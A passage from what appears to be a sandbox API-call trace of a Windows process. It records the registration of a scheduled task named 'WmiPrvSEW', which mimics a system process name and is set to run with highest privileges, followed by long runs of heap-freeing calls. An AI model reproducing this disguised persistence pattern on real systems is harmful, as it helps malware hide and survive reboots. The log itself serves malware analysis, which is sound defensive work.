lpBuffer=0x11cde0, pcbBuffer=0x11cdc8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x11cdc8) returned 1 [0089.591] ITaskDefinition:get_RegistrationInfo (in: This=0x1f7ea0, ppRegistrationInfo=0x11cdb0 | out: ppRegistrationInfo=0x11cdb0*=0x1f64e0) returned 0x0 [0089.591] IRegistrationInfo:put_Author (This=0x1f64e0, Author="") returned 0x0 [0089.591] _vsnwprintf (in: _Buffer=0x11cde0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x11cd78 | out: _Buffer="2023-09-19T17:17:13") returned 19 [0089.591] IRegistrationInfo:put_Date (This=0x1f64e0, Date="") returned 0x0 [0089.591] IUnknown:Release (This=0x1f64e0) returned 0x1 [0089.592] malloc (_Size=0x18) returned 0x1f6940 [0089.592] free (_Block=0x1f6940) [0089.592] lstrlenW (lpString="") returned 0 [0089.592] ITaskDefinition:get_Principal (in: This=0x1f7ea0, ppPrincipal=0x11cfd0 | out: ppPrincipal=0x11cfd0*=0x1f6710) returned 0x0 [0089.592] IPrincipal:put_RunLevel (This=0x1f6710, RunLevel=1) returned 0x0 [0089.592] IUnknown:Release (This=0x1f6710) returned 0x1 [0089.592] malloc (_Size=0x18) returned 0x1f6940 [0089.592] ITaskFolder:RegisterTaskDefinition (in: This=0x1f7e50, Path="WmiPrvSEW", pDefinition=0x1f7ea0, flags=6, UserId=0x11d050*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x11d090*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11ef60, varVal2=0xfe), LogonType=3, sddl=0x11d070*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x11cf70 | out: ppTask=0x11cf70*=0x1f6ae0) returned 0x0 [0089.745] free (_Block=0x1f6940) [0089.745] _memicmp (_Buf1=0x21bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.746] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0089.746] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0089.746] GetProcessHeap () returned 0x200000 [0089.746] GetProcessHeap () returned 0x200000 [0089.746] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d7a0) returned 1 [0089.746] GetProcessHeap () returned 0x200000 [0089.746] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d7a0) returned 0xc [0089.746] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d7a0 | out: hHeap=0x200000) returned 1 [0089.746] GetProcessHeap () returned 0x200000 [0089.746] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x82) returned 0x239e90 [0089.746] _vsnwprintf (in: _Buffer=0x11d6b0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x11cf18 | out: _Buffer="SUCCESS: The scheduled task \"WmiPrvSEW\" has successfully been created.\n") returned 71 [0089.746] _fileno (_File=0x7feffe22ab0) returned -2 [0089.746] _errno () returned 0x1f4bb0 [0089.746] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0089.747] SetLastError (dwErrCode=0x6) [0089.747] lstrlenW (lpString="SUCCESS: The scheduled task \"WmiPrvSEW\" has successfully been created.\n") returned 71 [0089.747] GetConsoleOutputCP () returned 0x0 [0089.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"WmiPrvSEW\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0089.747] GetConsoleOutputCP () returned 0x0 [0089.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"WmiPrvSEW\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0xff941880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"WmiPrvSEW\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0089.747] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 71 [0089.748] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0089.748] IUnknown:Release (This=0x1f6ae0) returned 0x0 [0089.748] TaskScheduler:IUnknown:Release (This=0x1f7ea0) returned 0x0 [0089.748] TaskScheduler:IUnknown:Release (This=0x1f7e50) returned 0x0 [0089.748] TaskScheduler:IUnknown:Release (This=0x30dee0) returned 0x1 [0089.748] lstrlenW (lpString="") returned 0 [0089.748] lstrlenW (lpString="9") returned 1 [0089.748] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="9", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0089.748] GetProcessHeap () returned 0x200000 [0089.748] GetProcessHeap () returned 0x200000 [0089.749] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c4f0) returned 1 [0089.749] GetProcessHeap () returned 0x200000 [0089.749] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c4f0) returned 0x1fc [0089.750] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c4f0 | out: hHeap=0x200000) returned 1 [0089.750] GetProcessHeap () returned 0x200000 [0089.750] GetProcessHeap () returned 0x200000 [0089.750] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215590) returned 1 [0089.750] GetProcessHeap () returned 0x200000 [0089.750] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215590) returned 0x4 [0089.750] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215590 | out: hHeap=0x200000) returned 1 [0089.750] GetProcessHeap () returned 0x200000 [0089.750] GetProcessHeap () returned 0x200000 [0089.750] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d6c0) returned 1 [0089.750] GetProcessHeap () returned 0x200000 [0089.750] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d6c0) returned 0x16 [0089.750] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d6c0 | out: hHeap=0x200000) returned 1 [0089.750] GetProcessHeap () returned 0x200000 [0089.750] GetProcessHeap () returned 0x200000 [0089.750] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d6a0) returned 1 [0089.750] GetProcessHeap () returned 0x200000 [0089.750] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d6a0) returned 0x18 [0089.750] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d6a0 | out: hHeap=0x200000) returned 1 [0089.751] GetProcessHeap () returned 0x200000 [0089.751] GetProcessHeap () returned 0x200000 [0089.751] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf70) returned 1 [0089.751] GetProcessHeap () returned 0x200000 [0089.751] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cf70) returned 0x20 [0089.752] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf70 | out: hHeap=0x200000) returned 1 [0089.752] GetProcessHeap () returned 0x200000 [0089.752] GetProcessHeap () returned 0x200000 [0089.752] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c190) returned 1 [0089.752] GetProcessHeap () returned 0x200000 [0089.752] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c190) returned 0xa0 [0089.753] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c190 | out: hHeap=0x200000) returned 1 [0089.753] GetProcessHeap () returned 0x200000 [0089.753] GetProcessHeap () returned 0x200000 [0089.753] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bc10) returned 1 [0089.753] GetProcessHeap () returned 0x200000 [0089.753] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bc10) returned 0x18 [0089.753] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bc10 | out: hHeap=0x200000) returned 1 [0089.753] GetProcessHeap () returned 0x200000 [0089.753] GetProcessHeap () returned 0x200000 [0089.753] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ccd0) returned 1 [0089.753] GetProcessHeap () returned 0x200000 [0089.753] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ccd0) returned 0x20 [0089.754] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ccd0 | out: hHeap=0x200000) returned 1 [0089.754] GetProcessHeap () returned 0x200000 [0089.754] GetProcessHeap () returned 0x200000 [0089.754] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c3f0) returned 1 [0089.754] GetProcessHeap () returned 0x200000 [0089.754] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c3f0) returned 0x8a [0089.755] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c3f0 | out: hHeap=0x200000) returned 1 [0089.755] GetProcessHeap () returned 0x200000 [0089.755] GetProcessHeap () returned 0x200000 [0089.755] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d6e0) returned 1 [0089.755] GetProcessHeap () returned 0x200000 [0089.755] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d6e0) returned 0x18 [0089.755] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d6e0 | out: hHeap=0x200000) returned 1 [0089.755] GetProcessHeap () returned 0x200000 [0089.755] GetProcessHeap () returned 0x200000 [0089.755] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cca0) returned 1 [0089.755] GetProcessHeap () returned 0x200000 [0089.755] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cca0) returned 0x20 [0089.756] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cca0 | out: hHeap=0x200000) returned 1 [0089.756] GetProcessHeap () returned 0x200000 [0089.756] GetProcessHeap () returned 0x200000 [0089.756] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21de50) returned 1 [0089.756] GetProcessHeap () returned 0x200000 [0089.756] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21de50) returned 0x8c [0089.757] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21de50 | out: hHeap=0x200000) returned 1 [0089.757] GetProcessHeap () returned 0x200000 [0089.757] GetProcessHeap () returned 0x200000 [0089.757] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d680) returned 1 [0089.757] GetProcessHeap () returned 0x200000 [0089.757] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d680) returned 0x18 [0089.757] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d680 | out: hHeap=0x200000) returned 1 [0089.757] GetProcessHeap () returned 0x200000 [0089.757] GetProcessHeap () returned 0x200000 [0089.757] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cc70) returned 1 [0089.757] GetProcessHeap () returned 0x200000 [0089.757] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cc70) returned 0x20 [0089.758] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cc70 | out: hHeap=0x200000) returned 1 [0089.758] GetProcessHeap () returned 0x200000 [0089.758] GetProcessHeap () returned 0x200000 [0089.758] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c4d0) returned 1 [0089.758] GetProcessHeap () returned 0x200000 [0089.758] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c4d0) returned 0xe [0089.758] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c4d0 | out: hHeap=0x200000) returned 1 [0089.758] GetProcessHeap () returned 0x200000 [0089.758] GetProcessHeap () returned 0x200000 [0089.758] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c4b0) returned 1 [0089.758] GetProcessHeap () returned 0x200000 [0089.758] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c4b0) returned 0x18 [0089.758] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c4b0 | out: hHeap=0x200000) returned 1 [0089.758] GetProcessHeap () returned 0x200000 [0089.758] GetProcessHeap () returned 0x200000 [0089.758] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215ea0) returned 1 [0089.759] GetProcessHeap () returned 0x200000 [0089.759] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215ea0) returned 0x20 [0089.759] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215ea0 | out: hHeap=0x200000) returned 1 [0089.759] GetProcessHeap () returned 0x200000 [0089.759] GetProcessHeap () returned 0x200000 [0089.759] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bd90) returned 1 [0089.759] GetProcessHeap () returned 0x200000 [0089.759] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bd90) returned 0x208 [0089.760] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bd90 | out: hHeap=0x200000) returned 1 [0089.760] GetProcessHeap () returned 0x200000 [0089.760] GetProcessHeap () returned 0x200000 [0089.760] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bbf0) returned 1 [0089.760] GetProcessHeap () returned 0x200000 [0089.760] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bbf0) returned 0x18 [0089.760] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bbf0 | out: hHeap=0x200000) returned 1 [0089.760] GetProcessHeap () returned 0x200000 [0089.760] GetProcessHeap () returned 0x200000 [0089.760] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215db0) returned 1 [0089.760] GetProcessHeap () returned 0x200000 [0089.760] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215db0) returned 0x20 [0089.761] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215db0 | out: hHeap=0x200000) returned 1 [0089.761] GetProcessHeap () returned 0x200000 [0089.761] GetProcessHeap () returned 0x200000 [0089.761] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d440) returned 1 [0089.761] GetProcessHeap () returned 0x200000 [0089.761] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d440) returned 0x200 [0089.761] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d440 | out: hHeap=0x200000) returned 1 [0089.761] GetProcessHeap () returned 0x200000 [0089.761] GetProcessHeap () returned 0x200000 [0089.761] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bc30) returned 1 [0089.761] GetProcessHeap () returned 0x200000 [0089.761] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bc30) returned 0x18 [0089.761] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bc30 | out: hHeap=0x200000) returned 1 [0089.761] GetProcessHeap () returned 0x200000 [0089.761] GetProcessHeap () returned 0x200000 [0089.762] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215d20) returned 1 [0089.762] GetProcessHeap () returned 0x200000 [0089.762] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215d20) returned 0x20 [0089.762] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215d20 | out: hHeap=0x200000) returned 1 [0089.762] GetProcessHeap () returned 0x200000 [0089.762] GetProcessHeap () returned 0x200000 [0089.762] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c3a0) returned 1 [0089.762] GetProcessHeap () returned 0x200000 [0089.762] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c3a0) returned 0x14 [0089.762] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c3a0 | out: hHeap=0x200000) returned 1 [0089.762] GetProcessHeap () returned 0x200000 [0089.762] GetProcessHeap () returned 0x200000 [0089.762] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c380) returned 1 [0089.762] GetProcessHeap () returned 0x200000 [0089.763] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c380) returned 0x18 [0089.763] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c380 | out: hHeap=0x200000) returned 1 [0089.763] GetProcessHeap () returned 0x200000 [0089.763] GetProcessHeap () returned 0x200000 [0089.763] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215c60) returned 1 [0089.763] GetProcessHeap () returned 0x200000 [0089.763] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215c60) returned 0x20 [0089.763] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215c60 | out: hHeap=0x200000) returned 1 [0089.763] GetProcessHeap () returned 0x200000 [0089.763] GetProcessHeap () returned 0x200000 [0089.763] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c3c0) returned 1 [0089.763] GetProcessHeap () returned 0x200000 [0089.763] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c3c0) returned 0x16 [0089.763] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c3c0 | out: hHeap=0x200000) returned 1 [0089.763] GetProcessHeap () returned 0x200000 [0089.764] GetProcessHeap () returned 0x200000 [0089.764] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c240) returned 1 [0089.764] GetProcessHeap () returned 0x200000 [0089.764] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c240) returned 0x18 [0089.764] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c240 | out: hHeap=0x200000) returned 1 [0089.764] GetProcessHeap () returned 0x200000 [0089.764] GetProcessHeap () returned 0x200000 [0089.764] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215c30) returned 1 [0089.764] GetProcessHeap () returned 0x200000 [0089.764] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215c30) returned 0x20 [0089.764] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215c30 | out: hHeap=0x200000) returned 1 [0089.764] GetProcessHeap () returned 0x200000 [0089.764] GetProcessHeap () returned 0x200000 [0089.764] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bb70) returned 1 [0089.764] GetProcessHeap () returned 0x200000 [0089.765] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bb70) returned 0x2 [0089.765] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bb70 | out: hHeap=0x200000) returned 1 [0089.765] GetProcessHeap () returned 0x200000 [0089.765] GetProcessHeap () returned 0x200000 [0089.765] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215a80) returned 1 [0089.765] GetProcessHeap () returned 0x200000 [0089.765] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215a80) returned 0x20 [0089.765] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215a80 | out: hHeap=0x200000) returned 1 [0089.765] GetProcessHeap () returned 0x200000 [0089.765] GetProcessHeap () returned 0x200000 [0089.765] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215ab0) returned 1 [0089.765] GetProcessHeap () returned 0x200000 [0089.765] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215ab0) returned 0x20 [0089.766] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215ab0 | out: hHeap=0x200000) returned 1 [0089.766] GetProcessHeap () returned 0x200000 [0089.766] GetProcessHeap () returned 0x200000 [0089.766] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215ae0) returned 1 [0089.766] GetProcessHeap () returned 0x200000 [0089.766] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215ae0) returned 0x20 [0089.766] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215ae0 | out: hHeap=0x200000) returned 1 [0089.766] GetProcessHeap () returned 0x200000 [0089.766] GetProcessHeap () returned 0x200000 [0089.766] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215b10) returned 1 [0089.766] GetProcessHeap () returned 0x200000 [0089.766] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215b10) returned 0x20 [0089.767] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215b10 | out: hHeap=0x200000) returned 1 [0089.767] GetProcessHeap () returned 0x200000 [0089.767] GetProcessHeap () returned 0x200000 [0089.767] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cd00) returned 1 [0089.767] GetProcessHeap () returned 0x200000 [0089.767] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cd00) returned 0x20 [0089.768] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cd00 | out: hHeap=0x200000) returned 1 [0089.768] GetProcessHeap () returned 0x200000 [0089.768] GetProcessHeap () returned 0x200000 [0089.768] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d7e0) returned 1 [0089.768] GetProcessHeap () returned 0x200000 [0089.768] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d7e0) returned 0xa [0089.768] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d7e0 | out: hHeap=0x200000) returned 1 [0089.768] GetProcessHeap () returned 0x200000 [0089.768] GetProcessHeap () returned 0x200000 [0089.768] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cd30) returned 1 [0089.768] GetProcessHeap () returned 0x200000 [0089.768] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cd30) returned 0x20 [0089.769] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cd30 | out: hHeap=0x200000) returned 1 [0089.769] GetProcessHeap () returned 0x200000 [0089.769] GetProcessHeap () returned 0x200000 [0089.769] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x217c10) returned 1 [0089.769] GetProcessHeap () returned 0x200000 [0089.769] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x217c10) returned 0x30 [0089.769] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x217c10 | out: hHeap=0x200000) returned 1 [0089.770] GetProcessHeap () returned 0x200000 [0089.770] GetProcessHeap () returned 0x200000 [0089.770] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cd60) returned 1 [0089.770] GetProcessHeap () returned 0x200000 [0089.770] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cd60) returned 0x20 [0089.770] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cd60 | out: hHeap=0x200000) returned 1 [0089.770] GetProcessHeap () returned 0x200000 [0089.770] GetProcessHeap () returned 0x200000 [0089.770] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x217c50) returned 1 [0089.770] GetProcessHeap () returned 0x200000 [0089.770] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x217c50) returned 0x30 [0089.771] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x217c50 | out: hHeap=0x200000) returned 1 [0089.771] GetProcessHeap () returned 0x200000 [0089.771] GetProcessHeap () returned 0x200000 [0089.771] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf40) returned 1 [0089.771] GetProcessHeap () returned 0x200000 [0089.771] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cf40) returned 0x20 [0089.772] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf40 | out: hHeap=0x200000) returned 1 [0089.772] GetProcessHeap () returned 0x200000 [0089.772] GetProcessHeap () returned 0x200000 [0089.772] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d700) returned 1 [0089.772] GetProcessHeap () returned 0x200000 [0089.772] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d700) returned 0x10 [0089.772] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d700 | out: hHeap=0x200000) returned 1 [0089.772] GetProcessHeap () returned 0x200000 [0089.772] GetProcessHeap () returned 0x200000 [0089.772] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf10) returned 1 [0089.772] GetProcessHeap () returned 0x200000 [0089.772] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cf10) returned 0x20 [0089.773] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf10 | out: hHeap=0x200000) returned 1 [0089.773] GetProcessHeap () returned 0x200000 [0089.773] GetProcessHeap () returned 0x200000 [0089.773] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d720) returned 1 [0089.773] GetProcessHeap () returned 0x200000 [0089.773] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d720) returned 0x10 [0089.773] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d720 | out: hHeap=0x200000) returned 1 [0089.773] GetProcessHeap () returned 0x200000 [0089.773] GetProcessHeap () returned 0x200000 [0089.773] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cee0) returned 1 [0089.773] GetProcessHeap () returned 0x200000 [0089.773] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cee0) returned 0x20 [0089.774] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cee0 | out: hHeap=0x200000) returned 1 [0089.774] GetProcessHeap () returned 0x200000 [0089.774] GetProcessHeap () returned 0x200000 [0089.774] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d740) returned 1 [0089.774] GetProcessHeap () returned 0x200000 [0089.774] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d740) returned 0xe [0089.774] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d740 | out: hHeap=0x200000) returned 1 [0089.774] GetProcessHeap () returned 0x200000 [0089.774] GetProcessHeap () returned 0x200000 [0089.774] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ceb0) returned 1 [0089.774] GetProcessHeap () returned 0x200000 [0089.774] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ceb0) returned 0x20 [0089.775] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ceb0 | out: hHeap=0x200000) returned 1 [0089.775] GetProcessHeap () returned 0x200000 [0089.775] GetProcessHeap () returned 0x200000 [0089.775] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d760) returned 1 [0089.775] GetProcessHeap () returned 0x200000 [0089.775] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d760) returned 0x16 [0089.775] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d760 | out: hHeap=0x200000) returned 1 [0089.775] GetProcessHeap () returned 0x200000 [0089.775] GetProcessHeap () returned 0x200000 [0089.776] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce80) returned 1 [0089.776] GetProcessHeap () returned 0x200000 [0089.776] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ce80) returned 0x20 [0089.776] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce80 | out: hHeap=0x200000) returned 1 [0089.776] GetProcessHeap () returned 0x200000 [0089.776] GetProcessHeap () returned 0x200000 [0089.776] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d780) returned 1 [0089.776] GetProcessHeap () returned 0x200000 [0089.777] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d780) returned 0x16 [0089.777] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d780 | out: hHeap=0x200000) returned 1 [0089.777] GetProcessHeap () returned 0x200000 [0089.777] GetProcessHeap () returned 0x200000 [0089.777] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce50) returned 1 [0089.777] GetProcessHeap () returned 0x200000 [0089.777] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ce50) returned 0x20 [0089.777] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce50 | out: hHeap=0x200000) returned 1 [0089.777] 